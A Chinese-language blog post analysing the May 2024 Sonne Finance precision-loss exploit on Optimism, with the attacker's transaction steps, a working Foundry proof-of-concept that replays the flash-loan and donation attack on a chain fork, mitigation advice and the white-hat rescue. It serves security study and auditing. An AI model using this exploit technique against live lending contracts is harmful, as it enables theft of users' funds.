2024年5月15 Sonne finance攻击来龙去脉--精度损失

  • 黑梨888
  • 更新于 2024-07-31 20:13
  • 阅读 581

漏洞概述5月15日Sonnefinance因为合约存在精度损失漏洞,导致被黑客盗取20millionUSD。更有趣的是,一位白帽子因为及时发现了攻击,马上通过100美金,保住了资金池里剩余的6.5million美金资产,减少了损失。这篇文章我想分析下漏洞是怎么发生的

漏洞概述

5月15日Sonne finance因为合约存在精度损失漏洞,导致被黑客盗取20million USD。更有趣的是,一位白帽子因为及时发现了攻击,马上通过100美金,保住了资金池里剩余的6.5 million美金资产,减少了损失。 这篇文章我想分析下漏洞是怎么发生的,以及白帽子为什么用100美金就挽回了650w。 白帽子保住剩余资金池的Twitter:https://x.com/tonyke_bot/status/1790547461611860182

Attack transaction:

攻击--准备交易: https://app.blocksec.com/explorer/tx/optimism/0x45c0ccfd3ca1b4a937feebcb0f5a166c409c9e403070808835d41da40732db96 攻击--获利交易: https://app.blocksec.com/explorer/tx/optimism/0x9312ae377d7ebdf3c7c3a86f80514878deb5df51aad38b6191d55db53e42b7f0 受害合约地址:0xe3b81318b1b6776f0877c3770afddff97b9f5fe5 受害合约地址源代码:https://vscode.blockscan.com/optimism/0xe3b81318b1b6776f0877c3770afddff97b9f5fe5

精度损失

solidity里没有小数点,只有向下取整。 如果A=19,B=10,那么A/B虽然等于1.9,但是因为向下取整就变成了1, 损失0.9,损失了近50%。配合闪电贷等其他条件,这个损失可以可以带来颇丰的收益。

Sonne Finance介绍

Sonne finance是一个Optimism链上的Defi借贷平台。用户可以抵押underlying token获取cToken。也可以借出underlying Token,并可以通过提供流动性赚取利息。也支持用cToken再对其他underlying token进行借贷。目前这个平台提供13个币种(例如DAI,USDC,USDT,VELO等)作为质押或者借贷的基础货币。

公式1: exchangeRate

exchangeRate适用于计算underlying token和Ctoken之间汇率的比例。在这个攻击案例里,underlying token是Velo Version 2,Ctoken是soVelo: image.png 根据这段代码可知,exchangeRate除了该token初始化时给了一个初始值,其他时候: exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply

  • totalCash:当前CToken(soVelo)合约持有的underlying token(Velo)总数。
  • totalBorrows:当前借出的underlying token(velo)总和(并包括了利息。)
  • totalReserves:总储备金数量
  • totalSupply:通过铸造得到的总Ctoken(soVelo)数量。totalSupply= totalSupplyOld + mintTokens

    公式2: redeemTokens

    通过exchangeRate可以计算出赎回的underlying token和cToken之间的关系 image.png redeemTokens = redeemAmountIn / exchangeRate

  • redeemToken:The number of cTokens to redeem into underlying。拿去赎回underlying token所投入的ctoken的数量。
  • redeemAmountIn:The number of underlying tokens to receive from redeeming cTokens。通过ctoken能赎回的underlying token数量

在这里可以发现,公式1与公式2均未进行精度损失防护。 公式1中如果我恶意增大totalCash(例如闪电贷给这个池子转账),其他变量不变,会导致exchangeRate变很大。 假设原始exhangeRate为2,后来被恶意操纵为6. 公式2中,想确保redeemAmountIn等于100(想赎回100个underlying token),当exchangeRate是2时,需要销毁50个cToken。 公式2中,想确保redeemAmountIn等于100(想赎回100个underlying token),当exchangeRate骤增为6时,需要销毁16.7个cToken。再因为精度损失向下取整,16.7变成了16. 所以同样是赎回100的underlying token,攻击前需要50个cToken,攻击后只需要16个cToekn,黑客获利34个cToken。 这就是本次攻击的大概核心逻辑。 理解了核心逻辑,我们就可以通过分析黑客transaction trace捋清攻击发生始末。

攻击分析:第一步---准备交易

image.png

  • 1-18行:初始化soVelo token这个市场。(这里算是一个行业共识,提案里面的交易可以被任何人执行,没有限定要特权账户才能执行。提案的本质是一个low level call,只能规定解锁时间,但不规定解锁后初始交易的执行人)
  • 24行:获取underlying token的地址(velo verion 2 地址)。
  • 25行:黑客通过授权模式转给soVelo合约一笔钱用于后面铸造soVelo。这里黑客为了方便直接apporve了uint256最大值。所以参数是一个long param。
  • 27行:花费400,000,001(Velo)铸造soVelo。
  • 45行:查看通过铸造,msg.sender获得了多少soVelo。结果返回是2个。
  • 46行:查看目前市场,一个铸造了多少个soVelo。结果返回是2,说明这个市场目前只有黑客进行了一次铸造。
  • 47行:攻击合约查看一下自己还有多少velo余额
  • 48行:攻击关键之一,攻击合约把自己所有的velo余额转给了被害合约soVelo。因为是通过transfer而不是铸造的方式,所以这次转账并没有铸造新的soVelo。这里回看公式1会发现,exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply,totalCash突然增多,其他变量都不变,导致exchangeRate脱离市场趋势突然增大。
  • 52行:攻击合约把铸造好的2个soVelo给了另外一个地址,经过多次转手最终转给发起第二步攻击的EOA地址。(这个多次转手的transaction trace我没有亲自考证,只是看了别的文章,应该不会错。)

    攻击分析:第二步---获利交易

    第二部分的攻击主要工作是从闪电贷里贷款,然后继续通过非铸造的方式想soVelo池子里转账,抬高exchangeRate, image.png

  • 2行:执行提案里的第五步交易
  • 16行:从闪电贷volatitleV2 AMM里借走了大量的velo,数量为35,469,150,965,253,049,864,450,449
  • 21行:闪电贷的代码会回掉攻击合约的hook函数,实行hook里面的逻辑。hook里面进行了多次攻击循环,我们拿第一次循环举例。
  • 22行:获取sonne finance所有市场币对信息
  • 32-35行:都在通过各种方式把闪电贷或者本身就有的钱,转移给soVelo合约,加大exchangeRate。 image.png
  • 55行:部署一个新的合约,这里简称合约2。
  • 56行:攻击合约把所持有的2个soVelo转给合约2.
  • 77行:因为合约2有两个soVelo,凭借两个soVelo就可以借走265,842,857,910,985,546,929个soWETH。
  • 120行:重点操作。从soVelo合约中,调用redeemUnderlying方法,赎回指定数量35,471,603,929,512,754,530,287,976个underlying token(即Velo),这差不多是攻击者之前全部抵押或者转入的所有本钱。现在我们来计算下赎回这么多的velo需要多少soVelo。公式1:exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply,exchangeRate=17,735,851,964,756,377,265,143,988e18,而初始exchangeRate为200,000,000e18, 几乎膨胀了800万倍(8867925.98237819)。再根据公式2,redeemTokens = redeemAmountIn / exchangeRate,redeemToken=1.99。由于1.99需要向下取整,所以redeemToken最终为1. 也就是说,黑客如果想赎回之前质押或者转账的所有本金,只需要1个soVelo。
  • 157-163行:合约2把所有持有的代币(velo,weth)转发给上层攻击合约,然后自毁。
  • 之后就是重复上述的攻击手段三次:铸造soVelo->通过transfer加大exchangeRate->创建子攻击合约->赎回Velo
  • 最后一步还了闪电贷。

    PoC

    下面是我写的PoC,因为只是验证漏洞的存在,我没有严格按照黑客的步骤进行复制。比如黑客使用两笔交易防止抢跑发生,但是我会把所有攻击写到一个交易里。还有黑客为了套现把soVelo换成了soWETH,为了简化PoC代码,我就不换成soWETH了。 通过一次攻击,共获利 724,290 USDC,截图如下: image.png 代码如下:

pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import "./interface.sol";
interface TimelockController {
    function execute(address target,uint256 value,bytes calldata data,bytes32 predecessor,bytes32 salt) external;
}
interface Unitroller{
    function enterMarkets(address[] calldata tokens) external returns(uint[] memory);
}

interface Velo {
    function approve(address target, uint256 amount) external;
    function transfer(address target, uint256 amount) external;
    function balanceOf(address account) external returns(uint256);
}
interface SoVelo {
    function mint(uint mintAmount) external returns (uint256);
    function transfer(address dst, uint amount) external returns(bool);
    function totalSupply() external returns(uint256);
    function redeemUnderlying(uint redeemAmount) external returns (uint);
}
interface VolatileV2AMM{
    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}
contract SonneFinance is Test {
    //初始化相关合约和地址
    address private constant veloAddress = 0x9560e827aF36c94D2Ac33a39bCE1Fe78631088Db;
    address private constant soVeloAddress= 0xe3b81318B1b6776F0877c3770AfDdFf97b9f5fE5;
    address private constant unitrollerAddress = 0x60CF091cD3f50420d50fD7f707414d0DF4751C58;
    address private constant volatileV2AMMAddress = 0x8134A2fDC127549480865fB8E5A9E8A8a95a54c5;
    address private constant usdcAddress = 0x7F5c764cBc14f9669B88837ca1490cCa17c31607;
    address private constant soUSDCAddress = 0xEC8FEa79026FfEd168cCf5C627c7f486D77b765F;
    TimelockController private constant timelockController= TimelockController(0x37fF10390F22fABDc2137E428A6E6965960D60b6);
    Velo private constant velo= Velo(veloAddress);
    SoVelo private constant soVelo = SoVelo(soVeloAddress);
    VolatileV2AMM private volatile = VolatileV2AMM(volatileV2AMMAddress);
    Unitroller private unitroller = Unitroller(unitrollerAddress);

    uint256 flashPoolBalance;

    function setUp() external {
        vm.createSelectFork("https://rpc.ankr.com/optimism", 120062493 - 1);
       // deal(address(this), 1 ether)
    }    

    function testExploit() external { 
        //1. 初始化soVelo市场。执行提案中规定的5笔交易。
         timelockController.execute(soVeloAddress, 0,hex"fca7820b0000000000000000000000000000000000000000000000000429d069189e0000",0x0000000000000000000000000000000000000000000000000000000000000000,0x476d385370ae53ff1c1003ab3ce694f2c75ebe40422b0ba11def4846668bc84c);
         timelockController.execute(soVeloAddress, 0,hex"f2b3abbd0000000000000000000000007320bd5fa56f8a7ea959a425f0c0b8cac56f741e",0x0000000000000000000000000000000000000000000000000000000000000000,0xa57973a3d5a5d99d454c54117d7d30a57a8aca089891f505f120174216edaf42);
        timelockController.execute(unitrollerAddress,0,hex"55ee1fe100000000000000000000000022c7e5ce392bc951f63b68a8020b121a8e1c0fea",0x0000000000000000000000000000000000000000000000000000000000000000,0x42408274449fd7829d7fb6abe2e89a618a853acf68d1553b2f6b8b671ac443fd);
        timelockController.execute(unitrollerAddress,0,hex"a76b3fda000000000000000000000000e3b81318b1b6776f0877c3770afddff97b9f5fe5",0x0000000000000000000000000000000000000000000000000000000000000000,0xb02c80e66eae74aef841e5d998aef03d201de66590950b6353e9a28b289c8c8b);
        timelockController.execute(unitrollerAddress,0,hex"e4028eee000000000000000000000000e3b81318b1b6776f0877c3770afddff97b9f5fe500000000000000000000000000000000000000000000000004db732547630000",0x0000000000000000000000000000000000000000000000000000000000000000,0xe50459992a5c9678d53efbffbf6b95687111e5789dada996e41fea2986077bed);

        velo.approve(soVeloAddress,type(uint256).max); //这里黑客图方便也给sovelo转了最大值。

        //2. 借闪电贷
        volatile.swap(0,35469150965253049864450449, address(this),hex"01");     

    }

    function hook(address receiver, uint256 amount1,uint256 amount2,bytes calldata data) external{
        //3. 铸造soVelo
        soVelo.mint(400000001);
        console.log("helloo");
        //4. 接着给sovelo转钱,把所有剩余的velo都transfer给soVelo
        uint256 VeloAmountOfthis = velo.balanceOf(address(this));
        velo.transfer(soVeloAddress,VeloAmountOfthis);
        //5. 第六步应该用soVelo去借soUSDC,实现不当获利。
        address[] memory soTokens= new address[](2);
        soTokens[0]=soUSDCAddress;
        soTokens[1]=soVeloAddress;
        unitroller.enterMarkets(soTokens);
        CErc20Interface(soUSDCAddress).borrow(768947220961);

        //6. 使用sovelo赎回velo
        uint256 Velo_amount_of_soVelo_after_transfer = velo.balanceOf(soVeloAddress);
        soVelo.redeemUnderlying(Velo_amount_of_soVelo_after_transfer-1);
         //ICErc20Delegate(soVeloAddress).redeemUnderlying(Velo_amount_of_soVelo_after_transfer - 1); 

        //7.还闪电贷本金(velo)
        velo.transfer(volatileV2AMMAddress, amount2-1);
        //8. 还闪电贷利息
        IERC20(usdcAddress).transfer(volatileV2AMMAddress,44656863632);

        //9. 计算黑客一共赚了多少钱
        uint256 Profit = IERC20(usdcAddress).balanceOf(address(this));

        console.log("---------------------------------------------------");

        console.log("USDC Profit from this attack: $", Profit / 10 ** 6 );

        console.log("---------------------------------------------------");
    }

}

如何避免精度损失

  1. 池子的流动性不能太小,不然很容易被黑客操控汇率。所以市场在初始化阶段项目方就应该注入一定的资金保证市场的流动性。
  2. 初始化池子的操作应该让特权账户进行,否则容易被黑客第一个初始化,然后快速利用新池子流动性低的特点操纵汇率。
  3. 作为代码审计人员,看到除法就要考虑各种场景下是否有精度损失。
  4. 另外openzeppeline也给出了两个建议:https://docs.openzeppelin.com/contracts/4.x/erc4626#inflation-attack image.png

最后彩蛋---100U力挽狂澜

攻击发生后,twitter 用户tonyke_bot 在交易 0x0a284cd 中,通过抵押 1144 个 VELO 代币(价值约100U)到 soVELO 合约中,铸造了 0.00000011 个 soVELO,阻止攻击者进一步攻击 https://twitter.com/tonyke_bot/status/1790547461611860182 公式1: exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply 因为这笔交易改变了 公式中的 totalSupply 大小和持有的 VELO 代币的数量 totalCash,而 totalSupply 增长对于计算 exchangeRate 产生的影响大于 totalCash 增长产生的影响,因此 exchangeRate 变小。 公式2: redeemTokens = redeemAmountIn / exchangeRate exchangeRate变小,redeemTokens就会变大,从1.99变回了2以上. 那么精度损失也就不存在了,黑客无法进行攻击。不过这里面具体的数值我没有进行具体的计算(例如redeemtokens到底变成了二点几,exchangeRate到底变小到多少),有兴趣的同学可以自己计算下。

Reference

一篇非常不错的中文攻击分析:https://web3caff.com/zh/archives/93534 Hanlin写的exploit:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2024-05/Sonne_exp.sol 官方事故报告:https://medium.com/@SonneFinance/post-mortem-sonne-finance-exploit-12f3daa82b06 Sonne finance 官网:https://sonne.finance/ 一篇openzeppelin文档,对通膨攻击/精度损失进行讲解:https://docs.openzeppelin.com/contracts/4.x/erc4626#inflation-attack

点赞 2
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
黑梨888
黑梨888
web3安全,合约审计。biu~